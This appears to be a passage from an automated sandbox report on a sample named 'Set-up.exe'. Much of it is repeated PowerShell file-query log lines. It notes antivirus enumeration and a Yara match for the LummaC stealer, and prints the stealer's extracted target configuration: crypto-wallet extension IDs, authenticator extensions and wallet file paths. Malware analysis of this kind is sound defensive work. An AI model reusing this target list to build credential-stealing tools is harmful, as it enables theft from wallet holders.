Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 'Set-up.exe, 00000000.00000002.2494376913.000000000086B000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377450506.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377715589.0000000000854000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2492364581.0000000000867000.00000004.00000020.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2377715589.000000000086B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\'Set-up.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 'Set-up.exe PID: 6224, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 'Set-up.exe, 00000000.00000003.2330195563.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 'Set-up.exe, 00000000.00000003.2377715589.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 'Set-up.exe, 00000000.00000003.2356545137.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: 'Set-up.exe, 00000000.00000003.2356545137.000000000087C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wal
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wal
Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wal
Source: 'Set-up.exe, 00000000.00000003.2330195563.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
